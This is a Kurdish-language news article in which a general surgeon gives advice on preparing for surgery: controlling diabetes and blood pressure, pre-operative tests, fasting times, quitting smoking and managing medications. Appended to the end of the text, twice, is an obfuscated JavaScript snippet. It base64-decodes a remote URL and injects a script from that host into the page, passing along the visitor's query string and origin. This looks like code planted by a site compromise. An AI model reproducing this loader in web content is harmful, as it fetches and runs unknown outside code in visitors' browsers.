چ پێدڤیە بەری نشتەرگەریان بهێتەکرن؟
د. ئەحمەد سەلاح، تایبەتمەندێ نشتەرگەریا گشتی دیارکر کو نەخۆشێن شەکرێ و فشارا خوینێ بەری نشتەرگەریێ پێدڤیە چارەسەریا خۆ وەرگرن و هەتا ڤەدگەرن رێژا سرۆشتی ژنوی نشتەرگەری بۆ بهێنە ئەنجامدان.
دەربارەی جورێن پشکنینان بەری نشتەرگەریان دیارکر کو دهێنە دابەشکرن بۆ دو پشکا ئێک ژێ گرێدای نەخۆشینە وەکو هندەک پشکنینێن خوینێ یان ڕەنین و سونار و میفراس ل دەمێن پێدڤی و هندەک جارا نازوورا مەعیدێ یان قولونێ و هندەک ژی گرێدای زانینا رەوشا نەخۆشینە وەکو کارێ گۆلچیسکا و جگەرێ و هندەک ژی گرێدای ژیانا نەخۆشینە وەکو ئیکو و تیشکا سینگی و گۆت: هندەک جارا ژی ئەم پێدڤی ب وەرگرتنا رەئیا تایبەتمەندەکێ دی دبین داکو بشێین نشتەرگەریێ بکەین.
د. ئەحمەد سەلاح، ئەوژی دیارکر پێدڤیە نەخۆش شەش سعەتا بەری نشتەرگەریێ خۆ ژ خارنێ دووربکەت و دو هەتا سێ سعەتا بەری بچیتە ژوورا نشتەرگەریێ دشێت ئاڤێ ڤەخۆت و بو زارۆکێن شیرخۆر ژی چار سعەت پێدڤینە کو چ نەخۆت و ڤەخۆت و گۆتژی: پێدڤیە نەخۆش ب سێ حهفتیان بەری نشتەرگەریێ ب ئێکجار خۆ ژ جگارکشانێ دووربکەت ب تایبەت ل دەمێ ئەنجامدانا نشتەرگەریان ل ژێر بەنجا گشتی، چونکو زیانێن وێ لسەر سیهێن وی هەنە.
هەروەسا دیارکر هەر چ نەبیت شەڤا نشتەرگەریێ نەخۆش سەرێ خۆ بشۆت و لەشێ خۆ ب گشتی پاقژبکەت.
دەربارەی دەرمانان دیارکر، هندەک نەخۆشێن دۆمدرێژ هەنە کو بەردەوام دەرمانا ب کاردئینن وەکو نەخۆشێن شەکرێ کو هەکە حەبا ب کاربینن دڤێت ب کاربینیت بەری نشتەرگەریێ ژی و ئەوێن ئەنسولینی وەردگرن پێدڤیە بەری نشتەرگەریێ ل نەخۆشخانێ بهێنە نڤاندن دابشێین کونترول بکەن و ئەوێن تێکچوونێن دەروونی هەین دڤێت بزانین چ دەرمانا ب کاردئینیت.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();
